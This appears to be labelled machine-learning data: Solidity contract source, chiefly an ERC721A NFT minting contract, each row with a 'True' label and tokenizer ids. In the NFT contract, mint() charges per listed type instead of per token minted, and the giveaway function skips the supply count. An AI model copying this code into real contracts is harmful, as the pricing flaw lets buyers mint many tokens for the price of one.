string memory symbol_,
uint256 initialBalance_,
address payable feeReceiver_
)
ERC20(name_, symbol_)
ServicePayer(feeReceiver_, "SimpleERC20")
payable
{
require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
}
| True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1008,
1008,
19204,
2038,
2042,
7013,
2005,
2489,
2478,
16770,
1024,
1013,
1013,
6819,
9284,
22311,
27108,
2072,
1012,
21025,
2705,
12083,
1012,
22834,
1013,
9413,
2278,
11387,
1011,
13103,
1013,
1008,
1008,
3602,
1024,
1000,
3206,
3120,
3642,
20119,
1006,
2714,
2674,
1007,
1000,
2965,
2008,
2023,
19204,
2003,
2714,
2000,
2060,
19204,
2015,
7333,
1008,
2478,
1996,
2168,
13103,
1012,
2009,
2003,
2025,
2019,
3277,
1012,
2009,
2965,
2008,
2017,
2180,
1005,
1056,
2342,
2000,
20410,
2115,
3120,
3642,
2138,
1997,
1008,
2009,
2003,
2525,
20119,
1012,
1008,
1008,
5860,
19771,
5017,
1024,
13103,
1005,
1055,
3166,
2003,
2489,
1997,
2151,
14000,
4953,
1996,
19204,
1998,
1996,
2224,
2008,
2003,
2081,
1997,
2009,
1012,
1008,
1996,
2206,
3642,
2003,
3024,
2104,
10210,
6105,
1012,
3087,
2064,
2224,
2009,
2004,
2566,
2037,
3791,
1012,
1008,
1996,
13103,
1005,
1055,
3800,
2003,
2000,
2191,
2111,
2583,
2000,
19204,
4697,
2037,
4784,
2302,
16861,
2030,
7079,
2005,
2009,
1012,
1008,
3120,
3642,
2003,
2092,
7718,
1998,
10843,
7172,
2000,
5547,
3891,
1997,
12883,
1998,
2000,
8970,
2653,
20600,
2015,
1012,
1008,
4312,
1996,
5309,
1997,
19204,
2015,
7336,
1037,
2152,
3014,
1997,
3891,
1012,
2077,
13868,
19204,
2015,
1010,
2009,
2003,
6749,
2000,
1008,
5362,
21094,
2035,
1996,
2592,
1998,
10831,
6851,
1999,
19204,
3954,
1005,
1055,
3785,
1012,
1008,
1013,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
29464,
11890,
11387,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
contract ERC721A is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable
{
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 private currentIndex = 1;
uint private totalMinted=0;
mapping(uint => bool) public tokenIdMinted;
uint256 internal immutable collectionSize;
uint256 internal immutable maxBatchSize;
string private _name;
string private _symbol;
mapping(uint256 => TokenOwnership) private _ownerships;
mapping(address => AddressData) private _addressData;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(
string memory name_,
string memory symbol_,
uint256 maxBatchSize_,
uint256 collectionSize_
) {
require(
collectionSize_ > 0,
"ERC721A: collection must have a nonzero supply"
);
require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero");
_name = name_;
_symbol = symbol_;
maxBatchSize = maxBatchSize_;
collectionSize = collectionSize_;
}
function totalSupply() public view override returns (uint256) {
return totalMinted;
}
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), "ERC721A: global index out of bounds");
return index;
}
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
override
returns (uint256)
{
require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert("ERC721A: unable to get token of owner by index");
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721A: balance query for the zero address");
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(
owner != address(0),
"ERC721A: number minted query for the zero address"
);
return uint256(_addressData[owner].numberMinted);
}
function ownershipOf(uint256 tokenId)
internal
view
returns (TokenOwnership memory)
{
require(_exists(tokenId), "ERC721A: owner query for nonexistent token");
uint256 lowestTokenToCheck;
if (tokenId >= maxBatchSize) {
lowestTokenToCheck = tokenId - maxBatchSize + 1;
}
for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert("ERC721A: unable to determine the owner of token");
}
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString(),_getUriExtension()))
: "";
}
function _baseURI() internal view virtual returns (string memory) {
return "";
}
function _getUriExtension() internal view virtual returns (string memory) {
return "";
}
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
require(to != owner, "ERC721A: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721A: approve caller is not owner nor approved for all"
);
_approve(to, tokenId, owner);
}
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721A: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), "ERC721A: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
}
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenIdMinted[tokenId];
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, "");
totalMinted+=quantity;
}
function _safeMintId(address to, uint256 _id) internal {
_safeMintId(to, _id, "");
totalMinted++;
}
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), "ERC721A: mint to the zero address");
while(_exists(startTokenId)){
startTokenId++;
}
require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high");
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
AddressData memory addressData = _addressData[to];
_addressData[to] = AddressData(
addressData.balance + uint128(quantity),
addressData.numberMinted + uint128(quantity)
);
_ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp));
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
while(_exists(updatedIndex)){
updatedIndex++;
}
emit Transfer(address(0), to, updatedIndex);
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
tokenIdMinted[updatedIndex]=true;
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
// mint specific id
function _safeMintId(
address to,
uint256 _id,
bytes memory _data
) internal {
uint256 startTokenId = _id;
require(to != address(0), "ERC721A: mint to the zero address");
require(!_exists(startTokenId), "ERC721A: token already minted");
_beforeTokenTransfers(address(0), to, startTokenId, 1);
AddressData memory addressData = _addressData[to];
_addressData[to] = AddressData(
addressData.balance + uint128(1),
addressData.numberMinted + uint128(1)
);
_ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp));
emit Transfer(address(0), to, startTokenId);
require(
_checkOnERC721Received(address(0), to, startTokenId, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
_afterTokenTransfers(address(0), to, startTokenId, 1);
}
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(
isApprovedOrOwner,
"ERC721A: transfer caller is not owner nor approved"
);
require(
prevOwnership.addr == from,
"ERC721A: transfer from incorrect owner"
);
require(to != address(0), "ERC721A: transfer to the zero address");
_beforeTokenTransfers(from, to, tokenId, 1);
_approve(address(0), tokenId, prevOwnership.addr);
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp));
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId] = TokenOwnership(
prevOwnership.addr,
prevOwnership.startTimestamp
);
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
uint256 public nextOwnerToExplicitlySet = 0;
function _setOwnersExplicit(uint256 quantity) internal {
uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet;
require(quantity > 0, "quantity must be nonzero");
uint256 endIndex = oldNextOwnerToSet + quantity - 1;
if (endIndex > collectionSize - 1) {
endIndex = collectionSize - 1;
}
require(_exists(endIndex), "not enough minted yet for this cleanup");
for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) {
if (_ownerships[i].addr == address(0)) {
TokenOwnership memory ownership = ownershipOf(i);
_ownerships[i] = TokenOwnership(
ownership.addr,
ownership.startTimestamp
);
}
}
nextOwnerToExplicitlySet = endIndex + 1;
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721A: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
contract NatashatiniNFT is Ownable, ERC721A, ReentrancyGuard {
using Strings for uint256;
uint256 public PRICE_A = 0.08 ether; //0.18 ether presale , 0.23 eth public
uint256 public PRICE_B = 0.11 ether; //0.18 ether presale , 0.23 eth public
uint256 public PRICE_C = 0.20 ether; //0.18 ether presale , 0.23 eth public
uint256 private constant TotalCollectionSize_ = 10000; // total number of nfts
uint256 private constant MaxMintPerBatch_ = 10000; //max mint per traction
uint256 nft_A = 0;
uint256 nft_B = 1;
uint256 nft_C = 2;
bool public _revealNFT = false;
// metadata URI
string private _baseTokenURI;
string private _uriBeforeReveal;
uint public status = 0; //0-pause 1-whitelist 2-public
mapping(address => bool) private whitelistedAddresses;
mapping(address => string[]) public nftType;
constructor() ERC721A("Natashatini NFT","Natashatini NFT", MaxMintPerBatch_, TotalCollectionSize_) {
setURIbeforeReveal("https://ipfs.io/ipfs/Qmdg1Ad4SYZoRMN54APoXnR8g1efB5ccVuLWEdjswvMM7v");
setBaseURI("https://ipfs.io/ipfs/QmRPDM5vBq5raekngxRKxemkyMkjCMHJCmCMfocx3rgDHn/");
}
modifier callerIsUser() {
require(tx.origin == msg.sender, "The caller is another contract");
_;
}
// nfttype_number = 0: A, 1: B, 2: C
function mint(uint256 quantity, uint256 [] memory nfttype_numbers) external payable callerIsUser {
require((status == 1 && whitelistedAddresses[msg.sender]) || status == 2 , "Sale is not Active or you are not Whitelisted");
require(totalSupply() + quantity <= collectionSize, "reached max supply");
uint256 total = 0;
for (uint256 i = 0; i < nfttype_numbers.length; i++) {
uint256 nfttype_number = nfttype_numbers[i];
require(nfttype_number == 0 || nfttype_number == 1 || nfttype_number == 2, "nfttype_number must be 0, 1, or 2");
if (nfttype_number==nft_A){
total += PRICE_A ;
addNewNftOfType(msg.sender,'A',quantity);
} else if (nfttype_number==nft_B){
total += PRICE_B ;
addNewNftOfType(msg.sender,'B',quantity);
} else if (nfttype_number==nft_C){
total += PRICE_C ;
addNewNftOfType(msg.sender,'C',quantity);
}
}
require(msg.value >= total, "Need to send more ETH.");
_safeMint(msg.sender, quantity);
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId),"ERC721Metadata: URI query for nonexistent token");
if(_revealNFT){
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString(), ".json"))
: "";
} else{
return _uriBeforeReveal;
}
}
function isWhitelisted(address _user) public view returns (bool) {
return whitelistedAddresses[_user];
}
function nftOfType(address _user) public view returns (string [] memory) {
return nftType[_user];
}
function addNewWhitelistUsers(address[] calldata _users) public onlyOwner {
// ["","",""]
for(uint i=0;i<_users.length;i++)
whitelistedAddresses[_users[i]] = true;
}
function addNewNftOfType(address _user, string memory t, uint _quantity) internal {
// ["","",""]
for(uint i=0;i<_quantity;i++){
nftType[_user].push(t);
}
}
function setURIbeforeReveal(string memory URI) public onlyOwner {
_uriBeforeReveal = URI;
}
function setBaseURI(string memory baseURI) public onlyOwner {
_baseTokenURI = baseURI;
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function numberMinted(address owner) public view returns (uint256) {
return _numberMinted(owner);
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
return ownershipOf(tokenId);
}
function withdrawMoney() external onlyOwner nonReentrant {
uint256 balance = address(this).balance;
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Transfer failed.");
}
function changeRevealStatus() external onlyOwner {
_revealNFT = !_revealNFT;
}
function changeMintPrice(uint256 _newPriceA,uint256 _newPriceB,uint256 _newPriceC ) external onlyOwner
{
PRICE_A = _newPriceA;
PRICE_B = _newPriceB;
PRICE_C = _newPriceC;
}
function setStatus(uint256 _status)external onlyOwner{
status = _status;
}
function giveawaySpecificId(address _vipAddress, uint [] memory _tokenIds) public onlyOwner{
for (uint i = 0; i < _tokenIds.length; i++){
uint _tokenId = _tokenIds[i];
_safeMintId(_vipAddress, _tokenId);
tokenIdMinted[_tokenId]=true;
}
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1021,
1025,
10061,
3206,
2128,
4765,
5521,
5666,
18405,
1063,
21318,
3372,
17788,
2575,
2797,
5377,
1035,
2025,
1035,
3133,
1027,
1015,
1025,
21318,
3372,
17788,
2575,
2797,
5377,
1035,
3133,
1027,
1016,
1025,
21318,
3372,
17788,
2575,
2797,
1035,
3570,
1025,
9570,
2953,
1006,
1007,
1063,
1035,
3570,
1027,
1035,
2025,
1035,
3133,
1025,
1065,
16913,
18095,
2512,
28029,
6494,
3372,
1006,
1007,
1063,
5478,
1006,
1035,
3570,
999,
1027,
1035,
3133,
1010,
1000,
2128,
4765,
5521,
5666,
18405,
1024,
2128,
4765,
17884,
2655,
1000,
1007,
1025,
1035,
3570,
1027,
1035,
3133,
1025,
1035,
1025,
1035,
3570,
1027,
1035,
2025,
1035,
3133,
1025,
1065,
1065,
3075,
7817,
1063,
27507,
16048,
2797,
5377,
1035,
2002,
2595,
1035,
9255,
1027,
1000,
5890,
21926,
19961,
2575,
2581,
2620,
2683,
7875,
19797,
12879,
1000,
1025,
3853,
2000,
3367,
4892,
1006,
21318,
3372,
17788,
2575,
3643,
1007,
4722,
5760,
5651,
1006,
5164,
3638,
1007,
1063,
2065,
1006,
3643,
1027,
1027,
1014,
1007,
1063,
2709,
1000,
1014,
1000,
1025,
1065,
21318,
3372,
17788,
2575,
8915,
8737,
1027,
3643,
1025,
21318,
3372,
17788,
2575,
16648,
1025,
2096,
1006,
8915,
8737,
999,
1027,
1014,
1007,
1063,
16648,
1009,
1009,
1025,
8915,
8737,
1013,
1027,
2184,
1025,
1065,
27507,
3638,
17698,
1027,
2047,
27507,
1006,
16648,
1007,
1025,
2096,
1006,
3643,
999,
1027,
1014,
1007,
1063,
16648,
1011,
1027,
1015,
1025,
17698,
1031,
16648,
1033,
1027,
27507,
2487,
1006,
21318,
3372,
2620,
1006,
4466,
1009,
21318,
3372,
17788,
2575,
1006,
3643,
1003,
2184,
1007,
1007,
1007,
1025,
3643,
1013,
1027,
2184,
1025,
1065,
2709,
5164,
1006,
17698,
1007,
1025,
1065,
3853,
2000,
5369,
2595,
3367,
4892,
1006,
21318,
3372,
17788,
2575,
3643,
1007,
4722,
5760,
5651,
1006,
5164,
3638,
1007,
1063,
2065,
1006,
3643,
1027,
1027,
1014,
1007,
1063,
2709,
1000,
1014,
2595,
8889,
1000,
1025,
1065,
21318,
3372,
17788,
2575,
8915,
8737,
1027,
3643,
1025,
21318,
3372,
17788,
2575,
3091,
1027,
1014,
1025,
2096,
1006,
8915,
8737,
999,
1027,
1014,
1007,
1063,
3091,
1009,
1009,
1025,
8915,
8737,
1028,
1028,
1027,
1022,
1025,
1065,
2709,
2000,
5369,
2595,
3367,
4892,
1006,
3643,
1010,
3091,
1007,
1025,
1065,
3853,
2000,
5369,
2595,
3367,
4892,
1006,
21318,
3372,
17788,
2575,
3643,
1010,
21318,
3372,
17788,
2575,
3091,
1007,
4722,
5760,
5651,
1006,
5164,
3638,
1007,
1063,
27507,
3638,
17698,
1027,
2047,
27507,
1006,
1016,
1008,
3091,
1009,
1016,
1007,
1025,
17698,
1031,
1014,
1033,
1027,
1000,
1014,
1000,
1025,
17698,
1031,
1015,
1033,
1027,
1000,
1060,
1000,
1025,
2005,
1006,
21318,
3372,
17788,
2575,
1045,
1027,
1016,
1008,
3091,
1009,
1015,
1025,
1045,
1028,
1015,
1025,
1011,
1011,
1045,
1007,
1063,
17698,
1031,
1045,
1033,
1027,
1035,
2002,
2595,
1035,
9255,
1031,
3643,
1004,
1014,
2595,
2546,
1033,
1025,
3643,
1028,
1028,
1027,
1018,
1025,
1065,
5478,
1006,
3643,
1027,
1027,
1014,
1010,
1000,
7817,
1024,
2002,
2595,
